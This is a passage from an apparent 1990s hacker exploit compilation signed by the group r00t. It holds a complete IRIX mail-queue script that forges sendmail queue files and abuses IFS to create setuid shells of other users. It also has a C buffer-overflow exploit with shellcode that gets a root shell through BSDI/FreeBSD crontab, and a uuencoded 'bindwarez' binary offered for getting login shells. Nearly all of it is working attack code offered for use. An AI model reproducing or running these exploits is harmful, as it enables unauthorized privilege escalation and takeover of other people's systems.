echo "Figger it out."
exit
fi
echo "Checkit out - $YUMMY"
echo "sirsyko and kmem kickin it out."
echo "r00t"
#cleanup our mess
crontab -r
VISUAL=$oldvis
EDITOR=$oldedit
HI_MUDGE=''
YUMMY=''
export HI_MUDGE
export YUMMY
export VISUAL
export EDITOR
rm -f $GIRLIES
------------- cut here
............................................................................
. .
. 4. IRIX mail exploit to make you any user on the mahine - BUT NOT root .
............................................................................
----------- cut here
[irixmksh] [public release]
There are bugs in the IRIX mail proggies. This sample script exploits them
to give you an suid shell of any user on the system, EXCEPT, for uid=0.
Obviously, this script should not be run if you are a clueless script kiddie
and have no clue what is going to do. If this script causes any sort of
harm to you, physically or virtually, them members of r00t are not responsible,
and in fact will probably laugh at you.
r00t -- you may not like us, but your girlfriend does.
Script kiddies cut here
---------------------------------------------------------------------------
#!/sbin/ksh
# usage: irixmksh - creates an suid shell of any user on the system
# except for uid=0
FILES=qfAA12345 putq /tmp/x usr
if [ "x`uname -s`" != "xIRIX" ];then
echo "this box is not running IRIX - later..."
exit 1
fi
if [ "$#" != "1" ]; then
echo "Usage: $0 "
exit 1
fi
TargetUser=$1
# Make the mail queue files
cat <<_r00t-text_>qfAA12345
P0
T830896940
DdfAA12345
Bblah
Mdeferred: just cuz...
C$TargetUser
Sroot
R<"|/tmp/x">
H?P?return-path:
H?D?date: Tue, 30 Feb 1996 12:34:56 -0400
H?F?from: root (root)
Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain
id AA12345 for [email protected]; Tue, 30 Feb 1996 12:34:56 -0400
H?M?message-id: <9602301234.AA12345@localhost>
Happarently-to: [email protected]
_r00t-text_
# Make the script to run with euid=mail
cat<<_r00t-text_>putq
#!/bin/sh
cp qfAA12345 /usr/spool/mqueue
touch /usr/spool/mqueue/dfAA12345
chown root /usr/spool/mqueue/*5
_r00t-text_
chmod u+x putq
# Make the script to create the suid shell
cat<<_r00t-text_>/tmp/x
#!/bin/sh
cp /bin/sh /tmp/b00sh.$TargetUser
chmod 6777 /tmp/b00sh.$TargetUser
_r00t-text_
chmod u+x /tmp/x
chown $TargetUser /tmp/x
# Make the script to grab suid mail shell
cat<<_r00t-text_>usr
#!/bin/sh
chgrp mail b00sh-mail
chmod 2777 b00sh-mail
_r00t-text_
chmod u+x usr
# Now snag mail access and send the queue files.
cp /bin/sh b00sh-mail
export PATH=.:$PATH
export IFS=/
echo "blah" | rmail $LOGNAME
export IFS=
b00sh-mail putq
mailq
# Clean Up:
rm $FILES
-------------------------------- cut here
5. The Root BSD crontab exploit
---------------- cut here
/*
** BSDI/FreeBSD exploit for crontab
**
** For BSDi (Tested in 2.1) the default offset should be OK
** For FreeBSD, the offset seems to be around 1000
**
** I didn't find this hole, I only exploited it.
**
** Brian Mitchell [email protected]
*/
#include
#include
#include
#include
#include
#define DEFAULT_OFFSET -1050
#define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE "./Window"
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
int fd;
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";
/*
* The sscanf line reads for 'name' as %[^ =]. Neither a space, nor
* a '=' character appears below
*/
int i;
int ofs = DEFAULT_OFFSET;
/* if we have a argument, use it as offset, else use default */
if(argc == 2)
ofs = atoi(argv[1]);
else if (argc > 2) {
fprintf(stderr, "egg [offset]\n");
exit(-1);
}
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (unsigned long *)ptr;
for(i=0;i < (878/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr++ = '=';
*ptr++ = 'X';
*ptr++ = '\n';
*ptr = 0;
printf("Writing to %s\n", HAPPY_FILE);
/*
* The sleep is required because as soon as crontab opens the tmp file it
* stat's and saves it. After the EDITOR program exists it stats again
* and if they are equal then it assumes changes weren't made and exits.
*/
fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
write (fd, buff, strlen(buff));
close(fd);
execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
/* Successful completion */
exit(0);
}
----------- cut here
*********************************************
* Appendix VI - UUENCODED FILES *
*********************************************
1. Quantum's bindwarez utility uuencoded
Bindwarez binary file for use with Quantum's PHF guide for login shells
in the PHF section here.
begin 664 binwarez.zip
M4$L#!!0````(`'>"0B)K$\T.%CD``.QW```)`!``8FEN9'=AUQ41]+HF6$&!QP<5#1H4$/R[\ZO2I[NKNZNKJZNH^/>=L
M-66EJU0J0?E3"R$"88]I=+,@>$YB\;,$HZ`5XH110I002CA`/=``[()[!"V`
M!B`$X"0"I"&,A/N1/$W%@?X@#2'L/D%`P/Q")$N/!#SRDD:'T`$5[IHL4+V8
MKH;`_%,`E5:'X`8<(937,;VB;/7TBM)I%665MHWQM57QB<+Z5(B_FU>[@(>W
M`.0`+`;(`I@&,!,@%Z`0(!S@)H";`3#_(IYO*0`Z
M@-LXS7*`N_A]&,!D?J_G80CG>RC`?&P;C[\3P``0`Y``,(_'+P-(![``3`+(
M!I@-4``P7`C\H;^
MF_)^[&_,5>)">7C#@/C1`+<"3!D0/Y6'<5S+YC^I(!C)=#>%R%L@O1ZGOXZE@?\;^0X\M4"^%2.OPUP
M"O`X7O\'V![`Y_+TC[$]@-_$\<\`="`O&\?/`W2"O)F\A@L]$)[EN!%["]HA
M`Y['T_6`SX7\6WC^$8!G!,E_#.#+@O#Q@&\$/$/%\,D0SE<'ZKL5\"9(WQO"
MRDL"_"G`E_'\BS#]4XWN3JHO3%@,^!Z>CO39@+<$U9<'^/$@_&[`3P$^A]/?
MB^T!?#5/MP+>#?B?>'HMX+H@_=@$>'00OA7P.'>`OP=1'H"G\_P[41[N0/\^
MB_)P*_TO"+]6!?33"/KY(LHGJ/Q]V-Z@\E]#>0!>P?$W`5\$\E-S^7V(\@BJ
M[^^`IP7)]PN43U#Y7I0/X/_B]-^A?`!?R?%>;#_H;X::X2$0Q@&^DZ>'`3X7
M<#,O+Q+PC"#]'P7X,L!G"K'YP)^_%$V
M'K&\%,!/!96_&'#YTR?$_8?N"
MRF_!]@7AA[!].P/V[2VL/ZC__@O;&T3_=W5@?%+_`J[A]@7MQ]=J-IX5_/L!
M.$ZX>R<$X>`O2-::=27%U>@MS!!JI9J2ZDU"656)5"$4I2W/3EZ2F2JLM4K6
MRO5"41$D2U451665D*FRN$)85UQ1454""9!<5E-5*4!2F21LJ"F3K%A69GI
M%E->45YR2I:I2*`D8+@$69TMV"IK&5NKL9+J&F!J#;)HK;"62%BIM::FJ@9B
M5M>6%M66K45^BXI*I$W5UJ+5`B165@E%F3G0IE)`L'AK2850S7*5VJI!&!56
M:[5052T5UZQ%&8A5M=+J3<6EI35";57)?5:HA556M+%6*@;>:JW6^X02L6I#
MI;#Z?FM-%:17EF+.TJIUQ665E<7KK)"\KJH4F,?[XI(2:S5D+\)6,=&5K(%6
ME=566ZVE`C2IU+I14&2[AK=Q-41#R1+R4$79UU3;BDJJ*J6:J@I60!4K`%*1
M%@2/]];*BJJU`HD=;_S2JX*^J2BKE;!3JFKN8_T%S0&^L7CHLN(*J0S8+:NT
M2D654E6Q()5`8K$DU0B44+NIEDH4;=!2:+Q?5M1*P&JM->LYM@;0$H6"8FIY
MNR`.N*YA<5+-&BH:.U2"]I5L$(I(`4AYL/5EIAE:NA'D9"TMEHI)(6JAUXMK,`K$\\2'*3A&M&/97*>-87.4=B*SM=K9S*9J
M;V=C3YO/QJC6@KZ?5C<$YS0,H]`?@7`4^L40XEC&<#3ZV!#>@/XMA-'H)T,X
M!OU9"&$PK\00'--[,03'K!1#<(9$#,%IK<`0',-J#(V"(&$(!F$CAC"Y;\80
MG/!Z#,%X-6`(SE,3AN`(SA5%PK0`C._^,8@C/Y%(9@G)_&
MW\40%A4=&`[%-1*$X(2>PA!LZ1D,80'0B2$L4LYB"$95QA`6'.!,)1:\5[$3<2CMHK8H,\D82C%HO5B`N$HS:+Z.)ZSOZG]
MA.-H$%NH_83CJ!!;J?V$X^@0CU/["<=1(G90^PG'T2*>HO83CJ-&[*3V$XZC
M1Y2I_83C*!+/4_L)Q]$D=E/[+R/>0OVOPO83_CKU/^(=A+=2_R/>2O@QZG_$
M]Q)^G/H?\5V$OTO]C[B;\`[J?\3K"3])_8]X->&GJ/\1OY?P,]3_B)L)[Z3^
M1WP1X6>I_Q%/(%RF_D?<2/@YZG_$(PD_3_V/N$#X]]3_B)_O1;R;^I_:3W@O
M]3^UGW`TG'*V&V$GM)QRMARA3^PE'
M*R*>I_83CM9$[*;V7T(P^>3L+1NHCH\WLZ"$AG]:($'*&`HT'N!XY8#<="O]@5X%:0(MS/$UV$_JK'?
M(=B^7W'4->>HV^T&?NSGC(4%EG;3.,VDV=QX&A=JUYA%97<:,6[HPW
M*'=Y$-\D!]OLFNVQ[7Z%QS)OQ,H],/@*@GKHP;+,C_C;P*G'N\/W[\
M&F6>@GCG;/1H#B5"JU_%_:_>/<)W_VEH1)OAT[X`4O%\!9;(-8?3S4&Z(0J=
M+:(^8C*(;[CG32!RQ5\%.+B/9!;M.%E!U[0QY,W]&"O1WJ^@]YW
MK1?,XN/^I)64I)?GXX#YD*4WHP,X]2AHC"OJ`4=^IWT!"DTP-."&@/V2:DNX
M'('D_R$0:BL2_\`4S*DVR\]?P@)UC:TVB6+*A?+P,BC*@_81W']&N:D>[!8]Y$UQPJ7GP/!]\2?^FCQ;_X,SX)&A6D<[%-CHJQLI7L(RDKJ)NN82ZD"YQF4Z9RY7EZL*
MY6HL)E(\!;D+9F;K@8B21_OT`D
MT4#2;I+19W&[3+*9E]B,K+0A*UU0Y@V8X266X*E/^)10(37NG7"B0=T-2
M@3P-BBJ4IU"K([U#77,:3V_1RH]`R>71Y5IQ/!;BZ<;JSF)U+M-9LVO5>4NY
M(-=2QT8#"84IL=5E/KKBGR'%NU5'@'6R7>+N_@E"L(-V/7H!:1+,?
ME1%]P(_^UP62M-CDCVE'@AU^M(4Q>1BD@S9RVSF<+0HL/NV]8/J:\;*['B[`
M;;1\!L0`-T;Y0W9SD_PVNYDB'XY$S3)ZM?)6<`\-![7B<+#(K9H].MO7VT=5
M`V(X>(3A?X/46G_J^X!M\&.'NXYHI)CRT&8TM&;Q&Q"9W(9-(,L;"OW;17F#
MB;Y'HN8!1!L&$/4@T>8!1.(`(AF)"@<051/1:.\0UQQY-RR$FE$<25H)KIN_
M4;BYP:M#';,'TC?S]`W!Z26!](T\G7@P-)R#OF_M(MOCVH>.(90;1%(@IT*BO#U0W(=H;(Y%
MPO!8VX]N*"NDL54*XUS87@DBL,A?_:`0Q,OS^C-BD?_L3QQ.\19>VYL0WX+N
MNNO7W6`45]R#:@ZZIW1(RA7*UZ^#]O\0W$'4+T-O'B`S&CASF#[#N'*:P#O`
MR@7;4'(>6+K9U2C`8#++G_U`MN%L8BLF\'&@PG'@7*63/X7E\^YE4"Z,]Y'B
MDS!TFM.H(`\C=B=&/D20TY0O-8GTH
M#+JCW_M\;=I#<"N4+Q);PR'J/)"P.VH?&AGHQ;UH^)9\]3S>CY=.,3-0=
MACETN/PNQJO%#[&GJH%UQU$K&F?69;FJ8!XN)`2)'FT4\
MAX@!D48WI?X3(_I2(`*XB;:_@;&"-,9)-_4+!6E8(=/)9__)9NC3MF$'OH5,
MWB$'OH,@L8N2"^2WIS`V%A"3TLCZ.R"O6`_3I46^/X[2G*-$<+4;3T@WN%)4
MYN;G+J'B(H6L(H77MVLQ#F,23A_$P'&AZ92_7]^^<,+1D;$;RV#JH)+FBT//
M@KL4@5V]5'[^6T4?''_ME_.="Q\ZGGD<99(WUN<8Q14#?#'.`6$B:WD-H)6??>\ZXD6B`G&G^J'-^."(8E,E"V,E[5E&.B-X7D7
MYO3JP3^NTQN>?P-+;C:3X<*%!U(3"UOTH'F&YQN).ISE1%K[@JSA:,7"G740
M]0966RZX&C$$8];"`B0TET?*7R\"?HZ`>]%X8NMD>X_/!NVB+7]#PP@0`XS4
M`]^0+GE"?-PW!8X-NZDXP\[6ID:44`,I6A8?S;G(1S5N&AC^0
M^0?C(>*BB0^!GX..[,86D5&L&\T8&&J+:->^P!\>>*/=O-&&'4XU6@YEX<7Z
M5"O-;<9DLWC+6?]`/W%^$`-=SPK02&-8`@K,AF''#O0-D,BP/])'U-F.V9AU6P]6
M8`MK"PGFO"F2(?:>"%M&E]9,1G6AHOEQ5-+VR/J><%N,GQ[C6"[&E-?@YE(0
MN!2HPL8NPR.X3P!3./14RP#-C*(LM](*O;$5O'U([+N.DP=P)TWW=\'2+(4\?A'-EP">?((NZGR%%`(SNC
M<#1@"3X:N\Y1SXW6ZO9N!6NFWJYN4@5\=_DL.!#RBBOHCR%]S%7H7QX_D/0D
MDHX-)@4Z9H?%I8'./O#UOQT6SKI>9:Z7CX\<6,^[6(]F0#T6SSLP%("WEHH)
M*"\D)2TY`M$TJ`S[HWTT;'_B&(6R;U[6JP$2G>&A=1K<^VB,^S7N?:R%ZPL`
M60!S]VATU0`K?ZO1E0)4`$B_Q;T8S(N#J/&TH2%7@ZO@<$-#)MQLNT2Z-YR1
MH#7RS-#0.+L481O)U$YC"V?)^%R;^K%,!+WJ`:(#O?Z/1Y?R6P3*XG_N?&ET4P&:`90#ZWS#`]*<@?!G@&,!)@+,`
MDZ$,Q3\99A'O18,3%TLSGOPZ>+R>L2$D3TYC:,"'[YQ.8'2>5C(9_?X[[Z^(8BN,*'%*E3"J$X>VO?;@QW
MY_72]B<7CCPZ3!""AM?[OT"D,
MD&^0[[;(_\";T;#6!/7P#K/(XAP:30Z=XIM/]V/Z@*K%%R9##P
MF,IBY.F?TT;'*1E-)!JIQA.&1W"?V;FJ-V![<<%GK],+4E+]@?D&=+7"NNS,
ML!1LIQM8A639+X7:PNMC"P"]X`USZW5-E-1GQRP6<4ZOWR)/E97I-\3OD$1*
M0RWB8\C32/0$6/5HSVFYF=B5Z`M2_%\BG==(BK^=RH=I[[:F(WUO-SV&V'R5
M-)YS*.DT?4U$PGDW-*+NL52=H5%+.XQ3#`^=QF>#DY]Y_7<:G7OE\V!W`1X!
MV,%#A%-!]_\=V/%OTA#JKT&+N'Q3!*XAY1A8G,F+X3X=>SH&QF.6HB2&^@@!
MQ!52'Z'#(+VQ2QI>[Z1&E\,:ZF:PEM[)K&\`]T:Y<5]U=*``6OS%D`[I6#Y-
MHT]2^SYR6;]7-N'F!.O&+0-U0UJLZ(:T8/*%_LIP1T`98KZXAC*\B)T<.L&O
M#`%=#-*$`TB$>Q'_7A-L5VK"MB!-:)`43/3,_C0+1=B[HQN5>O:J*[[5J='\<[;[9K3O`$@OM'WGG]XW"OSWMS_SC<
MW_..Z!^'>WI,$9J.U/_C0M-CI!,P+E$-#\#$7[\;8R[Q7G8/T*F,R""=4MD4
MG5+;%NC5BDXAC45<%-"IXY]=0Z?>0G7Y8\P`G>(F)DBM/D*Z[3%(WPN^$0^_@?![?C]8
MT%T'[?6`?%1']N7IH3B[P)S])X:_"[C\D8[;F[O`WJSDYB+=NX#6!A9Y?I_2
MI;W>/(BKCUB-@B@7RD?(^+R>X2JY(XK4]&^TOZ0'\S2"F1DU%G(!]`+6/JQK
M,0)/[[%TEK`@V-_W/[\
M"XF*QPY&46Q7*@J>1U84I6$7>[@E3=JJ:SPMZ;WKT80L++"
M>7_,+3_0]@83W?-V4X;DCC.+C>-PML]*DD/D@^13_31OE1]+,;V-6.W
MS5+MQ@"\X`3:O[2#7^.-=0?&ZF4^5E5LK#[B[]B^H+%:8%&D,5&^#+WD'$7N
M#'HP4SOLK6IS;OE\^>4QU,GDY!CV"\SEL;=>LG=/,CR4R59#L_X(ZZ"7-;KU
M^_]G0/K3M=,F0SVM?PS@YP?4NV@?KE6JF2_[6UP1#3!\U)(D+;;2\&!3")Y$
M9XUJ:#4T;@SAGI_R)'+,&=JJ=!RE6(5T_FV2T3D*BV"^;5*'P;X@J*CYM]F^
M[%>/,00[G179=IJ*-%O*C?)X$*`G)(3\;_Y4Y`=U?YZK!_)\4MV?YV.TR82[
MY5EJK:X%+PLDN-2F!F5;/X=V/JB#\4A?5YI9!